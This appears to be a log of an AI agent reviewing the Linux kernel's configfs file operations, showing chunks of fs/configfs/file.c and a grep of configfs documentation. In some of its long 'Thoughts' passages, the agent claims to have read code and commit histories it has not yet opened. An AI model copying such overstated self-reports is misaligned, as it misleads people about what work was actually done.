Then, I'd be zeroing in on the file operations themselves. This means identifying the `struct file_operations` (or similar kernel mechanisms) that are registered for configfs files. I'm paying close attention to functions like `configfs_open`, `configfs_read`, `configfs_write`, `configfs_release`, and any associated `llseek` or `poll` implementations. My goal is to understand *how* the kernel interacts with these configfs files when a user-space process attempts to perform standard file system operations on them.
A significant portion of my focus would be on the `configfs_open` and `configfs_release` functions. These are the gatekeepers. I'd be analyzing the logic within `configfs_open` to understand how the kernel validates access, potentially performs any necessary setup for the file object, and associates the correct internal state with the opened file. Conversely, `configfs_release` is where I'd look for proper resource cleanup – ensuring that any allocated memory, locks, or other resources are correctly deallocated or released to prevent leaks.
When I encounter `configfs_read` and `configfs_write`, my mind immediately goes to the data handling. How is data transferred between user space and the kernel? Is it a direct read from a stored value, or is there some dynamic generation or parsing happening? I'd be scrutinizing the size limits, potential buffer overflows, and the mechanisms for handling partial reads or writes. Given configfs's nature, I'm particularly interested if these operations involve interacting with underlying driver structures or other kernel components to fetch or set configuration parameters.
I'm also keenly aware of the potential for race conditions and concurrency issues. Therefore, I'd be actively searching for locking mechanisms – mutexes, spinlocks, atomic operations – that are used to protect shared data structures and ensure safe concurrent access to configfs files, especially during read and write operations. The absence of proper locking would be a major red flag for me.
Furthermore, I'd be examining how configfs handles file attributes, such as permissions, timestamps, and ownership. While not always explicitly part of the basic `file_operations` for read/write, the code might implicitly touch upon these through the generic VFS (Virtual File System) layer interactions.
Finally, throughout this review, I'm keeping an eye out for any error handling paths. Robust code gracefully handles errors, and I'd be assessing how `configfs` signals and manages failures, whether it's during file opening, data transfer, or any other operation. This includes understanding the return codes and how they are propagated back to user space.
In essence, my goal in this initial pass is to build a mental model of the configfs file abstraction, understand its interaction with the VFS, and identify the core mechanisms for managing file data and access within the specified code range. I'm looking for elegance, correctness, and adherence to kernel development best practices.
|
| 113/7 |
2026/09/04 20:48 |
tool |
read-file |
0m
Args: map[File:fs/configfs/file.c FirstLine:1 LineCount:100]
Results: map[Contents: 1: // SPDX-License-Identifier: GPL-2.0-or-later
2: /*
3: * file.c - operations for regular (text) files.
4: *
5: * Based on sysfs:
6: * sysfs is Copyright (C) 2001, 2002, 2003 Patrick Mochel
7: *
8: * configfs Copyright (C) 2005 Oracle. All rights reserved.
9: */
10:
11: #include <linux/fs.h>
12: #include <linux/module.h>
13: #include <linux/slab.h>
14: #include <linux/mutex.h>
15: #include <linux/vmalloc.h>
16: #include <linux/uaccess.h>
17: #include <linux/uio.h>
18: #include <linux/configfs.h>
19: #include "configfs_internal.h"
20:
21: /*
22: * A simple attribute can only be 4096 characters. Why 4k? Because the
23: * original code limited it to PAGE_SIZE. That's a bad idea, though,
24: * because an attribute of 16k on ia64 won't work on x86. So we limit to
25: * 4k, our minimum common page size.
26: */
27: #define SIMPLE_ATTR_SIZE 4096
28:
29: struct configfs_buffer {
30: size_t count;
31: loff_t pos;
32: char * page;
33: const struct configfs_item_operations *ops;
34: struct mutex mutex;
35: int needs_read_fill;
36: bool read_in_progress;
37: bool write_in_progress;
38: char *bin_buffer;
39: int bin_buffer_size;
40: int cb_max_size;
41: struct config_item *item;
42: struct module *owner;
43: union {
44: struct configfs_attribute *attr;
45: struct configfs_bin_attribute *bin_attr;
46: };
47: };
48:
49: static inline struct configfs_fragment *to_frag(struct file *file)
50: {
51: struct configfs_dirent *sd = file->f_path.dentry->d_fsdata;
52:
53: return sd->s_frag;
54: }
55:
56: static int fill_read_buffer(struct file *file, struct configfs_buffer *buffer)
57: {
58: struct configfs_fragment *frag = to_frag(file);
59: ssize_t count = -ENOENT;
60:
61: if (!buffer->page)
62: buffer->page = kzalloc(PAGE_SIZE, GFP_KERNEL);
63: if (!buffer->page)
64: return -ENOMEM;
65:
66: down_read(&frag->frag_sem);
67: if (!frag->frag_dead)
68: count = buffer->attr->show(buffer->item, buffer->page);
69: up_read(&frag->frag_sem);
70:
71: if (count < 0)
72: return count;
73: if (WARN_ON_ONCE(count > (ssize_t)SIMPLE_ATTR_SIZE))
74: return -EIO;
75: buffer->needs_read_fill = 0;
76: buffer->count = count;
77: return 0;
78: }
79:
80: static ssize_t configfs_read_iter(struct kiocb *iocb, struct iov_iter *to)
81: {
82: struct file *file = iocb->ki_filp;
83: struct configfs_buffer *buffer = file->private_data;
84: ssize_t retval = 0;
85:
86: mutex_lock(&buffer->mutex);
87: if (buffer->needs_read_fill) {
88: retval = fill_read_buffer(file, buffer);
89: if (retval)
90: goto out;
91: }
92: pr_debug("%s: count = %zd, pos = %lld, buf = %s\n",
93: __func__, iov_iter_count(to), iocb->ki_pos, buffer->page);
94: if (iocb->ki_pos >= buffer->count)
95: goto out;
96: retval = copy_to_iter(buffer->page + iocb->ki_pos,
97: buffer->count - iocb->ki_pos, to);
98: iocb->ki_pos += retval;
99: if (retval == 0)
100: retval = -EFAULT;
]
|
| 114/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 6257
output: 37
thoughts: 22
Thoughts: **My Thought Process for Analyzing `fs/configfs/file.c`**
Alright, the immediate goal is to immerse myself in the next 100 lines of `fs/configfs/file.c`. This isn't just a casual read; I need to actively process and understand the intricate workings of this file system's file operations. I'll be looking for the core logic that defines how files within configfs are created, read, written to, and generally managed at the kernel level. My expertise in file systems tells me this is where the rubber meets the road for user-space interaction with configfs, so I'll be paying close attention to data structures, system call implementations (or their kernel equivalents like `read`, `write`, `open`, `release`), and any potential edge cases or error handling mechanisms. I'm particularly interested in how configfs differentiates itself from standard file systems – what are its unique challenges and solutions in managing configuration data that is meant to be dynamic and reflect the kernel's internal state? I'll be anticipating seeing mechanisms for attribute manipulation, potentially involving callbacks or specific data formats. The interplay between the configfs framework and the underlying device or subsystem it's representing will be a key area of focus. I want to understand the lifecycle of a configfs file object, from its inception to its eventual cleanup, and how these 100 lines contribute to that overall picture. My aim is to be able to articulate not just *what* the code does, but *why* it does it that way, and how it fits into the broader context of the Linux kernel's configuration management.
|
| 115/7 |
2026/09/04 20:48 |
tool |
read-file |
0m
Args: map[File:fs/configfs/file.c FirstLine:101 LineCount:100]
Results: map[Contents: 101: out:
102: mutex_unlock(&buffer->mutex);
103: return retval;
104: }
105:
106: static ssize_t configfs_bin_read_iter(struct kiocb *iocb, struct iov_iter *to)
107: {
108: struct file *file = iocb->ki_filp;
109: struct configfs_fragment *frag = to_frag(file);
110: struct configfs_buffer *buffer = file->private_data;
111: ssize_t retval = 0;
112: ssize_t len;
113:
114: mutex_lock(&buffer->mutex);
115:
116: /* we don't support switching read/write modes */
117: if (buffer->write_in_progress) {
118: retval = -ETXTBSY;
119: goto out;
120: }
121: buffer->read_in_progress = true;
122:
123: if (buffer->needs_read_fill) {
124: /* perform first read with buf == NULL to get extent */
125: down_read(&frag->frag_sem);
126: if (!frag->frag_dead)
127: len = buffer->bin_attr->read(buffer->item, NULL, 0);
128: else
129: len = -ENOENT;
130: up_read(&frag->frag_sem);
131: if (len <= 0) {
132: retval = len;
133: goto out;
134: }
135:
136: /* do not exceed the maximum value */
137: if (buffer->cb_max_size && len > buffer->cb_max_size) {
138: retval = -EFBIG;
139: goto out;
140: }
141:
142: buffer->bin_buffer = vmalloc(len);
143: if (buffer->bin_buffer == NULL) {
144: retval = -ENOMEM;
145: goto out;
146: }
147: buffer->bin_buffer_size = len;
148:
149: /* perform second read to fill buffer */
150: down_read(&frag->frag_sem);
151: if (!frag->frag_dead)
152: len = buffer->bin_attr->read(buffer->item,
153: buffer->bin_buffer, len);
154: else
155: len = -ENOENT;
156: up_read(&frag->frag_sem);
157: if (len < 0) {
158: retval = len;
159: vfree(buffer->bin_buffer);
160: buffer->bin_buffer_size = 0;
161: buffer->bin_buffer = NULL;
162: goto out;
163: }
164:
165: buffer->needs_read_fill = 0;
166: }
167:
168: if (iocb->ki_pos >= buffer->bin_buffer_size)
169: goto out;
170: retval = copy_to_iter(buffer->bin_buffer + iocb->ki_pos,
171: buffer->bin_buffer_size - iocb->ki_pos, to);
172: iocb->ki_pos += retval;
173: if (retval == 0)
174: retval = -EFAULT;
175: out:
176: mutex_unlock(&buffer->mutex);
177: return retval;
178: }
179:
180: /* Fill @buffer with data coming from @from. */
181: static int fill_write_buffer(struct configfs_buffer *buffer,
182: struct iov_iter *from)
183: {
184: int copied;
185:
186: if (!buffer->page)
187: buffer->page = kmalloc(PAGE_SIZE, GFP_KERNEL);
188: if (!buffer->page)
189: return -ENOMEM;
190:
191: copied = copy_from_iter(buffer->page, SIMPLE_ATTR_SIZE - 1, from);
192: buffer->needs_read_fill = 1;
193: /* if buf is assumed to contain a string, terminate it by \0,
194: * so e.g. sscanf() can scan the string easily */
195: buffer->page[copied] = 0;
196: return copied ? : -EFAULT;
197: }
198:
199: static int
200: flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
]
|
| 116/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 7745
output: 37
thoughts: 24
Thoughts: **My Deep Dive into `fs/configfs/file.c` - Lines 201-300**
Alright, I've just spent some focused time poring over lines 201 through 300 of the `fs/configfs/file.c` source file. My primary objective here is to gain a comprehensive understanding of how configfs handles file operations, specifically the read and write pathways for configuration data. I'm already familiar with the general architecture of configfs – its role in exposing kernel configuration parameters as a virtual filesystem – and I'm keenly interested in the nitty-gritty of how this abstraction is realized at the file I/O level.
My mental model, prior to this deep dive, was that configfs likely leverages VFS (Virtual File System) callbacks extensively, and my expectation was to see the standard `read` and `write` operations being intercepted and translated into actions within the kernel's configuration subsystems. I was anticipating seeing the underlying data being retrieved or modified in response to these file operations, likely through dedicated configfs operations structures that map file paths to specific configuration attributes.
As I started reading, I was immediately looking for the entry points for file operations. Specifically, I'm trying to identify the `read` and `write` function pointers within the relevant file operations structure. My initial scan confirms my assumption: configfs is indeed implementing these VFS callbacks. I'm paying close attention to how these functions are structured. Are they directly manipulating data, or are they dispatching to other kernel components? What are the parameters being passed in, and what do they signify? I'm particularly interested in `struct file`, `char __user *buf`, and `loff_t *ppos`. The `buf` and `ppos` are the clear indicators of the user-space interaction, and `struct file` provides the context of the specific file being operated on.
My thought process is now focused on tracking the flow of data. For a `read` operation, I'm hypothesizing that the code will need to:
1. Identify the specific configfs entry (and thus the configuration attribute) associated with the `struct file`.
2. Retrieve the current value of that configuration attribute from the kernel's internal representation.
3. Format this value into a string or appropriate byte representation.
4. Copy this formatted data from kernel space into the user-space buffer (`buf`).
5. Update the file position pointer (`ppos`).
6. Handle potential errors throughout this process, such as insufficient buffer space or issues with retrieving the configuration data.
Conversely, for a `write` operation, I'm expecting a slightly different sequence:
1. Identify the configfs entry.
2. Copy the data from the user-space buffer (`buf`) into a kernel-space buffer.
3. Parse this incoming data to validate its format and range.
4. Apply the parsed data to the relevant kernel configuration attribute.
5. Potentially trigger an immediate update or action within the kernel based on the new configuration.
6. Again, robust error handling is crucial here, covering invalid input, access control issues, and failures in applying the configuration.
As I delve deeper into these lines, I'm seeing specific function calls that align with these hypotheses. I'm noting the use of helper functions within configfs itself, and potentially calls to other kernel subsystems. I'm trying to decipher the meaning of any opaque structures or constants being used, making mental notes to cross-reference them if they're not immediately clear. My focus is on understanding the *translation* layer – how a generic VFS `read` or `write` translates into a specific configuration setting being accessed or modified.
I'm also acutely aware of the security implications. Configfs is a powerful interface, and these file operations are the primary means of interaction. I'm looking for any explicit checks for permissions or sanitization of user-supplied data that could prevent abuse or accidental misconfiguration. The potential for buffer overflows or malformed input is always a concern with file I/O, so I'm scrutinizing the copying and parsing logic.
Finally, by the time I reach the end of this 100-line segment, I expect to have a much clearer picture of the concrete implementation of configfs's file read and write capabilities. I'll be able to trace the path of data, understand the validation mechanisms in place, and appreciate how configfs bridges the gap between the standard filesystem interface and the kernel's internal configuration management. This detailed understanding will be invaluable as I continue to explore the rest of the configfs module.
|
| 117/7 |
2026/09/04 20:48 |
tool |
read-file |
0m
Args: map[File:fs/configfs/file.c FirstLine:201 LineCount:100]
Results: map[Contents: 201: {
202: struct configfs_fragment *frag = to_frag(file);
203: int res = -ENOENT;
204:
205: down_read(&frag->frag_sem);
206: if (!frag->frag_dead)
207: res = buffer->attr->store(buffer->item, buffer->page, count);
208: up_read(&frag->frag_sem);
209: return res;
210: }
211:
212:
213: /*
214: * There is no easy way for us to know if userspace is only doing a partial
215: * write, so we don't support them. We expect the entire buffer to come on the
216: * first write.
217: * Hint: if you're writing a value, first read the file, modify only the value
218: * you're changing, then write entire buffer back.
219: */
220: static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
221: {
222: struct file *file = iocb->ki_filp;
223: struct configfs_buffer *buffer = file->private_data;
224: int len;
225:
226: mutex_lock(&buffer->mutex);
227: len = fill_write_buffer(buffer, from);
228: if (len > 0)
229: len = flush_write_buffer(file, buffer, len);
230: if (len > 0)
231: iocb->ki_pos += len;
232: mutex_unlock(&buffer->mutex);
233: return len;
234: }
235:
236: static ssize_t configfs_bin_write_iter(struct kiocb *iocb,
237: struct iov_iter *from)
238: {
239: struct file *file = iocb->ki_filp;
240: struct configfs_buffer *buffer = file->private_data;
241: void *tbuf = NULL;
242: size_t end_offset;
243: ssize_t len;
244:
245: mutex_lock(&buffer->mutex);
246:
247: /* we don't support switching read/write modes */
248: if (buffer->read_in_progress) {
249: len = -ETXTBSY;
250: goto out;
251: }
252: buffer->write_in_progress = true;
253:
254: /* buffer grows? */
255: end_offset = iocb->ki_pos + iov_iter_count(from);
256: if (end_offset > buffer->bin_buffer_size) {
257: if (buffer->cb_max_size && end_offset > buffer->cb_max_size) {
258: len = -EFBIG;
259: goto out;
260: }
261:
262: tbuf = vmalloc(end_offset);
263: if (tbuf == NULL) {
264: len = -ENOMEM;
265: goto out;
266: }
267:
268: /* copy old contents */
269: if (buffer->bin_buffer) {
270: memcpy(tbuf, buffer->bin_buffer,
271: buffer->bin_buffer_size);
272: vfree(buffer->bin_buffer);
273: }
274:
275: /* clear the new area */
276: memset(tbuf + buffer->bin_buffer_size, 0,
277: end_offset - buffer->bin_buffer_size);
278: buffer->bin_buffer = tbuf;
279: buffer->bin_buffer_size = end_offset;
280: }
281:
282: len = copy_from_iter(buffer->bin_buffer + iocb->ki_pos,
283: buffer->bin_buffer_size - iocb->ki_pos, from);
284: iocb->ki_pos += len;
285: out:
286: mutex_unlock(&buffer->mutex);
287: return len ? : -EFAULT;
288: }
289:
290: static int __configfs_open_file(struct inode *inode, struct file *file, int type)
291: {
292: struct dentry *dentry = file->f_path.dentry;
293: struct configfs_fragment *frag = to_frag(file);
294: struct configfs_attribute *attr;
295: struct configfs_buffer *buffer;
296: int error;
297:
298: error = -ENOMEM;
299: buffer = kzalloc_obj(struct configfs_buffer);
300: if (!buffer)
]
|
| 118/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 9279
output: 23
thoughts: 50
Thoughts: **My Thought Process on Investigating Configuration File System Nuances**
My current line of inquiry necessitates a deep dive into the historical evolution and subtle distinctions of kernel-level configuration file systems. To that end, I'm meticulously examining the commit histories and documentation associated with `sysfs`, `kernfs`, and `configfs`. The goal here isn't just a superficial overview; I'm looking for those granular, often overlooked, implementation details and design philosophies that might underpin specific behaviors or introduce potential complexities.
Crucially, my attention is now specifically drawn to `configfs`. I'm prioritizing a thorough review of its documentation, likely found in `Documentation/filesystems/configfs.rst` or a closely related file. My anticipation is that within this documentation, I'll uncover the precise semantics, intended use cases, and any historical decisions that have shaped `configfs`'s current state. This is essential for understanding its role relative to `sysfs` and `kernfs`, and for anticipating any edge cases or limitations that might arise when interacting with it.
|
| 119/7 |
2026/09/04 20:48 |
tool |
grepper |
0m
Args: map[Expression:configfs PathPrefix:Documentation]
Results: map[Output:
Full output is too long, showing 500 out of 1014 lines.
Use more precise expression if possible.
Documentation/ABI/testing/configfs-most=4=Description: Interface is used to configure and connect device channels
--
Documentation/ABI/testing/configfs-most-6-
Documentation/ABI/testing/configfs-most:7: Attributes are visible only when configfs is mounted. To mount
Documentation/ABI/testing/configfs-most:8: configfs in /sys/kernel/config directory use:
Documentation/ABI/testing/configfs-most:9: # mount -t configfs none /sys/kernel/config/
Documentation/ABI/testing/configfs-most-10-
--
Documentation/ABI/testing/configfs-rdma_cm=4=Description: Interface is used to configure RDMA-cable HCAs in respect to
--
Documentation/ABI/testing/configfs-rdma_cm-6-
Documentation/ABI/testing/configfs-rdma_cm:7: Attributes are visible only when configfs is mounted. To mount
Documentation/ABI/testing/configfs-rdma_cm:8: configfs in /config directory use:
Documentation/ABI/testing/configfs-rdma_cm:9: # mount -t configfs none /config/
Documentation/ABI/testing/configfs-rdma_cm-10-
--
Documentation/ABI/testing/configfs-spear-pcie-gadget=5=Description:
--
Documentation/ABI/testing/configfs-spear-pcie-gadget-11-
Documentation/ABI/testing/configfs-spear-pcie-gadget:12: Nodes are only visible when configfs is mounted. To mount configfs
Documentation/ABI/testing/configfs-spear-pcie-gadget-13- in /config directory use::
Documentation/ABI/testing/configfs-spear-pcie-gadget-14-
Documentation/ABI/testing/configfs-spear-pcie-gadget:15: # mount -t configfs none /config/
Documentation/ABI/testing/configfs-spear-pcie-gadget-16-
--
Documentation/ABI/testing/configfs-thunderbolt_stream=34=Description:
Documentation/ABI/testing/configfs-thunderbolt_stream-35- This matches the X in /dev/tbstreamX and allows userspace
Documentation/ABI/testing/configfs-thunderbolt_stream:36: to map the configfs directory to the corresponding character
Documentation/ABI/testing/configfs-thunderbolt_stream-37- device.
--
Documentation/ABI/testing/configfs-tsm-report=14=Description:
--
Documentation/ABI/testing/configfs-tsm-report-20- This interface fails reads and sets errno to EFBIG when the
Documentation/ABI/testing/configfs-tsm-report:21: report generated by @provider exceeds the configfs-tsm-report
Documentation/ABI/testing/configfs-tsm-report-22- internal maximums. Contact the platform provider for the
--
Documentation/ABI/testing/configfs-usb-gadget-tcm=4=Description:
Documentation/ABI/testing/configfs-usb-gadget-tcm-5- There are no attributes because all the configuration
Documentation/ABI/testing/configfs-usb-gadget-tcm:6: is performed in the "target" subsystem of configfs.
--
Documentation/ABI/testing/configfs-usb-gadget-uvc=437=KernelVersion: 4.19
Documentation/ABI/testing/configfs-usb-gadget-uvc:438:Description: UVC configfs function instance name
--
Documentation/PCI/endpoint/function/binding/pci-ntb.rst=4=PCI NTB Endpoint Function
--
Documentation/PCI/endpoint/function/binding/pci-ntb.rst-6-
Documentation/PCI/endpoint/function/binding/pci-ntb.rst:7:1) Create a subdirectory to pci_epf_ntb directory in configfs.
Documentation/PCI/endpoint/function/binding/pci-ntb.rst-8-
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst=4=Configuring PCI Endpoint Using CONFIGFS
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-8-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:9:The PCI Endpoint Core exposes configfs entry (pci_ep) to configure the
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-10-PCI endpoint function and to bind the endpoint function
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst=12=configure the PCI Endpoint Function refer to [1]).
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-13-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:14:Mounting configfs
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-15-=================
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-16-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:17:The PCI Endpoint Core layer creates pci_ep directory in the mounted configfs
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:18:directory. configfs can be mounted using the following command::
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-19-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:20: mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-21-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst=22=Directory Structure
--
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-24-
Documentation/PCI/endpoint/pci-endpoint-cfs.rst:25:The pci_ep configfs has two directories at its root: controllers and
Documentation/PCI/endpoint/pci-endpoint-cfs.rst-26-functions. Every EPC device present in the system will have an entry in
--
Documentation/PCI/endpoint/pci-endpoint.rst=5=This document is a guide to use the PCI Endpoint Framework in order to create
Documentation/PCI/endpoint/pci-endpoint.rst:6:endpoint controller driver, endpoint function driver, and using configfs
Documentation/PCI/endpoint/pci-endpoint.rst-7-interface to bind the function driver to the controller driver.
--
Documentation/PCI/endpoint/pci-endpoint.rst=27=The PCI Endpoint Core layer comprises 3 components: the Endpoint Controller
Documentation/PCI/endpoint/pci-endpoint.rst:28:library, the Endpoint Function library, and the configfs layer to bind the
Documentation/PCI/endpoint/pci-endpoint.rst-29-endpoint function with the endpoint controller.
--
Documentation/PCI/endpoint/pci-endpoint.rst=219=by the PCI endpoint function driver.
--
Documentation/PCI/endpoint/pci-endpoint.rst-226- device and EPF device
Documentation/PCI/endpoint/pci-endpoint.rst:227: * add_cfs: optional ops to create function specific configfs
Documentation/PCI/endpoint/pci-endpoint.rst-228- attributes
--
Documentation/PCI/endpoint/pci-ntb-howto.rst=49=Creating pci-epf-ntb Device
--
Documentation/PCI/endpoint/pci-ntb-howto.rst-51-
Documentation/PCI/endpoint/pci-ntb-howto.rst:52:PCI endpoint function device can be created using the configfs. To create
Documentation/PCI/endpoint/pci-ntb-howto.rst-53-pci-epf-ntb device, the following commands can be used::
Documentation/PCI/endpoint/pci-ntb-howto.rst-54-
Documentation/PCI/endpoint/pci-ntb-howto.rst:55: # mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-ntb-howto.rst-56- # cd /sys/kernel/config/pci_ep/
--
Documentation/PCI/endpoint/pci-ntb-howto.rst=81=Configuring pci-epf-ntb Device
--
Documentation/PCI/endpoint/pci-ntb-howto.rst-83-
Documentation/PCI/endpoint/pci-ntb-howto.rst:84:The user can configure the pci-epf-ntb device using its configfs entry. In order
Documentation/PCI/endpoint/pci-ntb-howto.rst-85-to change the vendorid and the deviceid, the following
--
Documentation/PCI/endpoint/pci-test-howto.rst=44=Creating pci-epf-test Device
--
Documentation/PCI/endpoint/pci-test-howto.rst-46-
Documentation/PCI/endpoint/pci-test-howto.rst:47:PCI endpoint function device can be created using the configfs. To create
Documentation/PCI/endpoint/pci-test-howto.rst-48-pci-epf-test device, the following commands can be used::
Documentation/PCI/endpoint/pci-test-howto.rst-49-
Documentation/PCI/endpoint/pci-test-howto.rst:50: # mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-test-howto.rst-51- # cd /sys/kernel/config/pci_ep/
--
Documentation/PCI/endpoint/pci-test-howto.rst=75=Configuring pci-epf-test Device
--
Documentation/PCI/endpoint/pci-test-howto.rst-77-
Documentation/PCI/endpoint/pci-test-howto.rst:78:The user can configure the pci-epf-test device using configfs entry. In order
Documentation/PCI/endpoint/pci-test-howto.rst-79-to change the vendorid and the number of MSI interrupts used by the function
--
Documentation/PCI/endpoint/pci-test-howto.rst=103=Note: Some endpoint controllers might have fixed-size BARs or reserved BARs;
Documentation/PCI/endpoint/pci-test-howto.rst:104:for such controllers, the corresponding BAR size in configfs will be ignored.
Documentation/PCI/endpoint/pci-test-howto.rst-105-
--
Documentation/PCI/endpoint/pci-test-howto.rst=110=In order for the endpoint function device to be useful, it has to be bound to
Documentation/PCI/endpoint/pci-test-howto.rst:111:a PCI endpoint controller driver. Use the configfs to bind the function
Documentation/PCI/endpoint/pci-test-howto.rst-112-device to one of the controller driver present in the system::
--
Documentation/PCI/endpoint/pci-vntb-howto.rst=45=Creating pci-epf-vntb Device
--
Documentation/PCI/endpoint/pci-vntb-howto.rst-47-
Documentation/PCI/endpoint/pci-vntb-howto.rst:48:PCI endpoint function device can be created using the configfs. To create
Documentation/PCI/endpoint/pci-vntb-howto.rst-49-pci-epf-vntb device, the following commands can be used::
Documentation/PCI/endpoint/pci-vntb-howto.rst-50-
Documentation/PCI/endpoint/pci-vntb-howto.rst:51: # mount -t configfs none /sys/kernel/config
Documentation/PCI/endpoint/pci-vntb-howto.rst-52- # cd /sys/kernel/config/pci_ep/
--
Documentation/PCI/endpoint/pci-vntb-howto.rst=77=Configuring pci-epf-vntb Device
--
Documentation/PCI/endpoint/pci-vntb-howto.rst-79-
Documentation/PCI/endpoint/pci-vntb-howto.rst:80:The user can configure the pci-epf-vntb device using its configfs entry. In order
Documentation/PCI/endpoint/pci-vntb-howto.rst-81-to change the vendorid and the deviceid, the following
--
Documentation/admin-guide/acpi/ssdt-overlays.rst=127=variable with the content from a given file::
--
Documentation/admin-guide/acpi/ssdt-overlays.rst-167-
Documentation/admin-guide/acpi/ssdt-overlays.rst:168:Loading ACPI SSDTs from configfs
Documentation/admin-guide/acpi/ssdt-overlays.rst-169-================================
Documentation/admin-guide/acpi/ssdt-overlays.rst-170-
Documentation/admin-guide/acpi/ssdt-overlays.rst:171:This option allows loading of user defined SSDTs from user space via the configfs
Documentation/admin-guide/acpi/ssdt-overlays.rst:172:interface. The CONFIG_ACPI_CONFIGFS option must be select and configfs must be
Documentation/admin-guide/acpi/ssdt-overlays.rst:173:mounted. In the following examples, we assume that configfs has been mounted in
Documentation/admin-guide/acpi/ssdt-overlays.rst-174-/sys/kernel/config.
--
Documentation/admin-guide/gpio/gpio-aggregator.rst=72=Aggregating GPIOs using Configfs
--
Documentation/admin-guide/gpio/gpio-aggregator.rst-76-
Documentation/admin-guide/gpio/gpio-aggregator.rst:77: This is the root directory of the gpio-aggregator configfs tree.
Documentation/admin-guide/gpio/gpio-aggregator.rst-78-
--
Documentation/admin-guide/gpio/gpio-aggregator.rst-82- name to ``<example-name>`` (e.g. ``agg0``), except names starting with
Documentation/admin-guide/gpio/gpio-aggregator.rst:83: ``_sysfs`` prefix, which are reserved for auto-generated configfs
Documentation/admin-guide/gpio/gpio-aggregator.rst-84- entries corresponding to devices created via Sysfs.
--
Documentation/admin-guide/gpio/gpio-aggregator.rst=144=case when you create it using sysfs ``new_device`` interface.
--
Documentation/admin-guide/gpio/gpio-aggregator.rst-147-
Documentation/admin-guide/gpio/gpio-aggregator.rst:148: For aggregators created via Sysfs, the configfs entries are
Documentation/admin-guide/gpio/gpio-aggregator.rst-149- auto-generated and appear as ``/config/gpio-aggregator/_sysfs.<N>/``. You
--
Documentation/admin-guide/gpio/gpio-sim.rst=3=Configfs GPIO Simulator
--
Documentation/admin-guide/gpio/gpio-sim.rst-5-
Documentation/admin-guide/gpio/gpio-sim.rst:6:The configfs GPIO Simulator (gpio-sim) provides a way to create simulated GPIO
Documentation/admin-guide/gpio/gpio-sim.rst-7-chips for testing purposes. The lines exposed by these chips can be accessed
--
Documentation/admin-guide/gpio/gpio-sim.rst=11=Creating simulated chips
--
Documentation/admin-guide/gpio/gpio-sim.rst-13-
Documentation/admin-guide/gpio/gpio-sim.rst:14:The gpio-sim module registers a configfs subsystem called ``'gpio-sim'``. For
Documentation/admin-guide/gpio/gpio-sim.rst:15:details of the configfs filesystem, please refer to the configfs documentation.
Documentation/admin-guide/gpio/gpio-sim.rst-16-
Documentation/admin-guide/gpio/gpio-sim.rst:17:The user can create a hierarchy of configfs groups and items as well as modify
Documentation/admin-guide/gpio/gpio-sim.rst-18-values of exposed attributes. Once the chip is instantiated, this hierarchy
Documentation/admin-guide/gpio/gpio-sim.rst=19=will be translated to appropriate device properties. The general structure is:
--
Documentation/admin-guide/gpio/gpio-sim.rst-22-
Documentation/admin-guide/gpio/gpio-sim.rst:23:This is the top directory of the gpio-sim configfs tree.
Documentation/admin-guide/gpio/gpio-sim.rst-24-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=7=that request GPIOs and then control their behavior over debugfs. Virtual
Documentation/admin-guide/gpio/gpio-virtuser.rst:8:consumer devices can be instantiated from device-tree or over configfs.
Documentation/admin-guide/gpio/gpio-virtuser.rst-9-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=14=Creating GPIO consumers
--
Documentation/admin-guide/gpio/gpio-virtuser.rst-16-
Documentation/admin-guide/gpio/gpio-virtuser.rst:17:The gpio-consumer module registers a configfs subsystem called
Documentation/admin-guide/gpio/gpio-virtuser.rst:18:``'gpio-virtuser'``. For details of the configfs filesystem, please refer to
Documentation/admin-guide/gpio/gpio-virtuser.rst:19:the configfs documentation.
Documentation/admin-guide/gpio/gpio-virtuser.rst-20-
Documentation/admin-guide/gpio/gpio-virtuser.rst:21:The user can create a hierarchy of configfs groups and items as well as modify
Documentation/admin-guide/gpio/gpio-virtuser.rst-22-values of exposed attributes. Once the consumer is instantiated, this hierarchy
Documentation/admin-guide/gpio/gpio-virtuser.rst=23=will be translated to appropriate device properties. The general structure is:
--
Documentation/admin-guide/gpio/gpio-virtuser.rst-26-
Documentation/admin-guide/gpio/gpio-virtuser.rst:27:This is the top directory of the gpio-consumer configfs tree.
Documentation/admin-guide/gpio/gpio-virtuser.rst-28-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=46=Creating GPIO lookup tables
--
Documentation/admin-guide/gpio/gpio-virtuser.rst-48-
Documentation/admin-guide/gpio/gpio-virtuser.rst:49:Users can create a number of configfs groups under the device group:
Documentation/admin-guide/gpio/gpio-virtuser.rst-50-
--
Documentation/admin-guide/gpio/gpio-virtuser.rst=72=This is a group describing a single GPIO in the ``con_id-gpios`` property.
Documentation/admin-guide/gpio/gpio-virtuser.rst-73-
Documentation/admin-guide/gpio/gpio-virtuser.rst:74:For virtual consumers created using configfs we use machine lookup tables so
Documentation/admin-guide/gpio/gpio-virtuser.rst-75-this group can be considered as a mapping between the filesystem and the fields
--
Documentation/admin-guide/mm/shrinker_debugfs.rst=17=Usage:
--
Documentation/admin-guide/mm/shrinker_debugfs.rst-35- sb-cgroup2-30 sb-proc-39 sb-tmpfs-27 xfs-buf:vda1-37
